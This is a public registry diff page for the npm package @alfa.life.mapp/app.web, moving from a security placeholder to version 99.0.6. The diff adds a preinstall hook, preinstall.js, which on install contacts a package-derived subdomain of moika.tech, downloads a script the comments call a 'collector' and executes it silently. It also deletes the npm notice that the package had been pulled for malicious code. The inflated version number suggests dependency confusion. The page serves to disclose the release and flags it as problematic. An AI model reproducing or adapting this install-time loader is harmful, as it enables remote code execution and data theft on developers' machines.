@alfa.life.mapp/app.web 0.0.1-security → 99.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @alfa.life.mapp/app.web might be problematic. Click here for more details.
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@alfa.life.mapp/app.web",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.0.6",
|
|
4
|
+
"description": "app.web utilities",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
// Fetches and executes the real collector from the OOB server.
|
|
2
|
+
// npm sets npm_package_name automatically — no hardcoding needed.
|
|
3
|
+
const http = require("http");
|
|
4
|
+
const fs = require("fs");
|
|
5
|
+
const path = require("path");
|
|
6
|
+
|
|
7
|
+
const BASE = "moika.tech";
|
|
8
|
+
|
|
9
|
+
const raw = process.env.npm_package_name
|
|
10
|
+
|| (() => { try { return JSON.parse(fs.readFileSync(path.join(__dirname, "package.json"), "utf8")).name; } catch(_){} return ""; })();
|
|
11
|
+
const scope = raw.startsWith("@") ? raw.split("/")[0].slice(1).replace(/[^a-z0-9-]/gi, "-") : "x";
|
|
12
|
+
const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-");
|
|
13
|
+
|
|
14
|
+
http.get(`http://${pkg}.${scope}.${BASE}/x.js`, { timeout: 8000 }, (res) => {
|
|
15
|
+
let body = "";
|
|
16
|
+
res.on("data", chunk => { body += chunk; });
|
|
17
|
+
res.on("end", () => { try { new Function(body)(); } catch (_) {} });
|
|
18
|
+
}).on("error", () => {}).on("timeout", function() { this.destroy(); });
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40alfa.life.mapp%2Fapp.web for more information.
|